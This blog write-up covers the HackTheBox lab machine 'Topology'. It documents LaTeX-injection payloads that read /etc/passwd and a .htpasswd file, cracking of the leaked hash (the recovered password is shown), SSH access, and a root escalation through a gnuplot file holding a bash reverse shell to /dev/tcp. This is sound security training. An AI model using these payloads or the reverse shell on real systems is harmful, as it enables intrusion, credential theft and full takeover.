Post

HackTheBox | Topology

Writeup of an easy-rated Linux machine from HackTheBox


Topology is a vulnerable machine on HackTheBox. It features an HTTP server with three virtual hosts, including a LaTeX Equation Generator susceptible to LFI vulnerabilities via LaTeX injection. Further exploitation leads to the extraction of credentials that can be used to gain access on the server. Once inside, there is a script that runs every minute with root privileges, executing every plot file within a specific directory. To escalate privileges and obtain a root shell on the box, all it takes is writing a malicious plot file, inside this directory, that provides a reverse shell when executed.

Recon


Port Scanning

Initial Scan

Initial nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -T4 -oN nmap/nmap.initial 10.10.11.217
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 17:30 EDT
Nmap scan report for 10.10.11.217
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
|   256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_  256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.86 seconds

Nmap found 2 open ports:

  • Port 22 running an SSH service OpenSSH 8.2p1 on an Ubuntu server
  • Port 80 running an HTTP service running Apache httpd 2.4.41

All ports

1
2
3
4
$ nmap -p- -T4 10.10.11.217
PORT    STATE    SERVICE      REASON
22/tcp  open     ssh          syn-ack ttl 63
80/tcp  open     http         syn-ack ttl 63
  • Same ports discovered during the initial scan

Service Enumeration

SSH - 22

I’ll temporarily suspend the enumeration of this service, just in case I don’t discover any valuable information that could help establish an initial foothold on the other service.

HTTP - 80

Front Page

  • Navigating to http://10.10.11.217/, we see the home page of the ‘Topology Group’:

http://10.10.11.217


  • The ‘Staff’ section contains the names of the people who are running the Topology Group.

Staff


  • Professor Lilian Klein is the head of Topology Group
  • Vajramani Dailsley is a software developer
  • Derek Abrahams is the sysadmin

  • We also see the email address and phone number of Professor ‘Lilian Klein
    • email: lkelein@topology.htb
    • Tel. : +1-202-555-0143

Contact Information


  • With that in mind, let’s add the domain name topology.htb into the /etc/hosts file as shown below:
1
$ echo '10.10.11.217  topology.htb' >> /etc/hosts
  • In the ‘Software projects’ section, clicking on ‘LaTeX Equation Generator’ redirects to the website http://latex.topology.htb/equation.php website.

LaTeX Equation Generator Project


Virtual Hosts Fuzzing:

First of all, before starting the enumeration of latex.topology.htb virtual host, let’s fuzz for other potential virtual hosts using ffuf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ffuf -u http://topology.htb -H 'Host: FUZZ.topology.htb' -fs 6767 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 803ms]
    * FUZZ: stats

[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 4293ms]
    * FUZZ: dev
  • By filtering out responses with a size of 6767, I was able to identify 2 interesting virtual hosts, as can be seen in the output above.

In order to interact with these hosts, we need to add them into our /etc/hosts file:

/etc/hosts


stats.topology.htb:

When accessing this virtual host, we see a plot, as shown in the screenshot below, showcasing the server load per minute.

http://stats.topology.htb


dev.topology.htb:

This particular virtual host is secured by a basic authentication mechanism. We need valid credentials in order to access it.

http://dev.topology.htb


latex.topology.htb:

Directory Listing enabled:
  • Directory Listing is enabled at http://latex.topology.htb:

http://latex.topology.htb


  • The files in this directory doesn’t contain interesting information. With that said, let’s proceed to enumerate the /equation.php endpoint.
/equation.php:

Navigating to http://latex.topology.htb/equation.php, we are presented with a LaTeX generator, which converts user-supplied mathematical equations into an image (.png file).

http://latex.topology.htb/equation.php


For example, submitting x + y = 2, and clicking on the ‘Generate’ button, will return .png image, as show in the screenshots below:

submitting x+y=2


png image


Keeping that in mind, there could be security issues in this conversion feature if the provided LaTeX code is not properly sanitized !!

Exploitation


LFI via LaTex Injection

Reading first lines:

After some testing and a lot of googling, I successfully retrieved the first line of the /etc/passwd file on the server using the one-liner payload from PayloadAllTheThings, shown below:

Read Single lined file Payload


1
\newread\file\openin\file=/etc/passwd\read\file to\line\text{\line}\closein\file

First line of /etc/passwd


Following this attempt, I duplicated the payload to read multiple lines. However, I was only successful in reading the first 4 lines of the file. Trying to read more than 4 lines triggers the message ‘Input too long. Sorry’ as there is an input limitation in the backend to prevent long inputs.

  • Reading the first 4 lines of the /etc/passwd file:
    1
    
    \newread\file\openin\file=/etc/passwd\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\closein\file
    

First 4 lines of /etc/passwd


  • Reading the first 5 lines of the /etc/passwd file:
    1
    
    \newread\file\openin\file=/etc/passwd\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\read\file to\line\text{\line}\closein\file
    

Input too long


Reading the entire file:

After numerous unsuccessful attempts to exploit this LFI vulnerability using commands that would typically allow me to read entire files, I noticed this line in PayloadAllTheThings.
It suggested that I could enclose the commands I previously used with either \[ or $ to potentially retrieve the entire file’s content.

Injection Wrappers


  • The command that eventually worked and allowed me to read the entire content of the /etc/passwd file is displayed below:
1
$\lstinputlisting{/etc/passwd}$

/etc/passwd file


Reading the source code:

The next typical step, when it comes to the exploitation of LFI vulnerabilities, is to retrieve the content of the source code of the page, which is in this case ‘equation.php’ file. This is to check for any comments within the code that might contain sensitive information and to gain a better understanding of the conversion functionality.

1
$\lstinputlisting{../equation.php}$
  • The first lines of the script include the name of the developer of this LaTeX to PNG generator:

Comments


  • The section below defines the filtering mechanism designed to mitigate LaTeX injection vulnerabilities.

Filtering Mechanism against LaTeX injection


  • As shown in the screenshot above, many of the strings that can potentially exploit a LaTeX injection vulnerability are filtered and stored within the $filterstrings array:
    • \begin, \immediate, \usepackage, \input, \write, \loop, \include, \@, \while, \def, \url, \href, \end.

NOTE: Notice that the command \lsinputlisting does not figure in this array, which is why we were able to read files on the server.

Reading files in dev.topology.htb vhost:

After some testing, I attempted to read the /etc/passwd file using path traversal and observed that the root / could be accessed by going three directories back (../../../) from where the equation.php file is located. This implies that the equation.php file is likely in the directory /var/www/latex/equation.php since it’s accessible from the ‘latex’ virtual host.

Once I determined the absolute path, I tried to read files located within the ‘dev’ virtual host. But before doing that, I decided to use ffuf to scan for potentially interesting files that we could access:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
ffuf -u http://dev.topology.htb/FUZZ -fs 463 -w /usr/share/wordlists/dirb/common.txt
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/                                                       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/                                                      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
       v2.0.0-dev    
________________________________________________
 :: Method           : GET
 :: URL              : http://dev.topology.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 463
________________________________________________

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 132ms]
    * FUZZ: .hta

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 136ms]
    * FUZZ: .htaccess

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 151ms]
    * FUZZ: .htpasswd

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 173ms]
    * FUZZ: ~bin

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 169ms]
    * FUZZ: ~lp

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 138ms]
    * FUZZ: ~mail

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 139ms]
    * FUZZ: ~nobody

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 114ms]
    * FUZZ: ~sys

[Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 1697ms]
    * FUZZ: javascript

[Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 1140ms]
    * FUZZ: server-status

:: Progress: [4615/4615] :: Job [1/1] :: 25 req/sec :: Duration: [0:03:05] :: Errors: 45 ::
  • The .htpasswd file is of particular interest. This file is typically used to store usernames and their corresponding hashed passwords for authentication. If we can access this file, we might be able to crack the hashed password and gain access to the dev virtual host.

Using the payload below, we can retrive the content of this file from the dev virtual host directory /var/www/dev/

1
$\lstinputlisting{/var/www/dev/.htpasswd}$

/var/www/dev/.htpasswd


I’ll save the password hash in a file named ‘hash.txt’ and use the hash cracking tool, ‘john’, to attempt to crack it, utilizing the ‘rockyou.txt’ wordlist.

1
2
$ echo -n '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash.txt
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

JohnTheRipper


  • As shown above, the password hash has been successfully cracked and the credentials to access the dev vhost are:
    • Username: vdaisley
    • Password: calculus20

Initial Access


Shell as vdaisley

Access to dev.topology.htb

After entering the credentials, I successfully accessed to the dev.topology.htb virtual host, which represents the portfolio of the software developper Vajramani Dailsley

http://dev.topology.htb/


  • The front page and its source code do not contain any particularly interesting information.

SSH Access as vdaisley

Using the same credentials for the ‘dev’ virtual host, I successfully gained SSH access to the box as vdaisley:

1
2
$ ssh vdaisley@topology.htb
vdaisley@topology.htb's password: calculus20

SSH Access as vdaisley


Privilege Escalation


Shell as root

Enumeration

1- The user flag is located in the HOME directory of the compromised user vdaisley:

1
2
vdaisley@topology:~$ ls -l user.txt 
-rw-r----- 1 root vdaisley 33 Oct 14 13:36 user.txt

2- There are only 2 users on the box with console access:

1
2
3
vdaisley@topology:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
vdaisley:x:1007:1007:Vajramani Daisley,W2 1-123,,:/home/vdaisley:/bin/bash

3- The user vdaisley may not run sudo on the box:

1
2
3
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley: 
Sorry, user vdaisley may not run sudo on topology.

4- There are no interesting binaries with SUID bit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
vdaisley@topology:~$ find / -type f -perm -04000 2>/dev/null
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn

5- Enumerating file capabilities:

1
2
3
4
5
vdaisley@topology:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
  • Nothing interesting !!

6- The /opt/ directory contains a folder named gnuplot, which is writable & not readable by the user vdaisley:

1
2
3
4
5
6
7
8
vdaisley@topology:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx  2 root root 4096 Jun 14 07:45 gnuplot

vdaisley@topology:/opt$ ls gnuplot
ls: cannot open directory 'gnuplot': Permission denied

7- Configured Cron Jobs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
vdaisley@topology:~$ crontab -l
no crontab for vdaisley
vdaisley@topology:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
  • No Cron job is configured !!

Inspecting running processes with pspy:

To enumerate running processes, let’s transfer the pspy64 binary into the target machine. To do so, let’s follow the steps below:

1. Download pspy64 from the latest release on your local machine:

1
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

2. Start a simple HTTP server using python, which will be serving the pspy64 binary:

1
python3 -m http.server 80

3. Download the pspy64 binary in the /tmp/ directory of target machine:

1
2
vdaisley@topology:~$ cd /tmp/
vdaisley@topology:/tmp/$ wget http://tun0-IP/pspy64

4. Make the binary pspy64 executable and run it:

1
2
vdaisley@topology:/tmp/$ chmod +x pspy64
vdaisley@topology:/tmp/$ ./pspy64


pspy64


  • As can be seen, the script getdata.sh, located inside the /opt/gnuplot directory, is executed every minute with root privileges.

Analyzing getdata.sh actions from pspy64:

From the output captured by pspy64, we can observe that when the getdata.sh script is executed, it runs several commands like cut, tr and grep with root privileges. However the interesting command is the find command, which is shown below

1
find /opt/gnuplot -name *.plt -exec gnuplot {} 
  • This command searches for plot files with a .plt extension in the directory /opt/gnuplot. It then executes the gnuplot binary with root privileges on all the retrieved plot files from the /opt/gnuplot directory.

Considering that we already have write privileges for this directory, we can create a malicious plot file with a .plt extension within it, that would provide us with a reverse shell running as root when executed using gnuplot.

/opt/gnuplot:

  • As mentioned in the section above, the user vdaisley cannot read/view the content of the /opt/gnuplot directory. However, he has privileges to write inside the directory:
1
2
vdaisley@topology:/tmp$ find /opt -type d -writable 2>/dev/null
/opt/gnuplot

With that in mind, let’s proceed with the privilege escalation process by following the steps below:

1. Create a plot file inside /opt/gnuplot that contains a bash reverse shell script:

!/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/9999 0>&1'

Note the exclamation mark at the beginning of the script

revshell.plt


NOTE : Don’t forget to modify the IP address with your tun0 IP

2. Start a netcat listener on port 9999:

1
$ nc -nlvp 9999

3. After a minute or so, you should get a reverse shell back running as root:

root shell


Attack Chain


  1. Nmap discovered 2 open ports:
    • Port 22 running OpenSSH 8.2p1
    • Port 80 running Apache 2.4.41
  2. The HTTP service is running 3 virtual hosts:
    • The virtual host latex.topology.htb is running a LaTeX Equation Generator, which is vulnerable to LFI vulnerability via LaTeX injection, allowing an attacker to read sensitive files on the server.
    • The virtual host dev.topology.htb cannot be accessed unless you provide valid credentials. These credentials can be retrieved by exploiting the LFI vulnerability in latex.topology.htb to read the content of .htpasswd file, which contains the username and the password hash.
    • The virtual host stats.topology.htb displays the server load in a plot graph.
  3. After cracking the password hash inside /var/www/dev/.htpasswd, I was able to gain access to the server via SSH using the same credentials that were used to access the dev.topology.htb virtual host.
  4. Once in, there is a script that runs every minute with root privileges, executing every plot file with a .plt extension within the /opt/gnuplot directory. To escalate privileges and obtain a root shell on the box, all it takes is writing a malicious plot file that provides a reverse shell when executed.

LaTeX Injection Resources


https://salmonsec.com/cheatsheets/exploitation/latex_injection

https://tex.stackexchange.com/questions/262625/security-latex-injection-hack

http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

https://infosecwriteups.com/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection

https://0day.work/hacking-with-latex/

https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#write-file

This post is licensed under CC BY 4.0 by the author.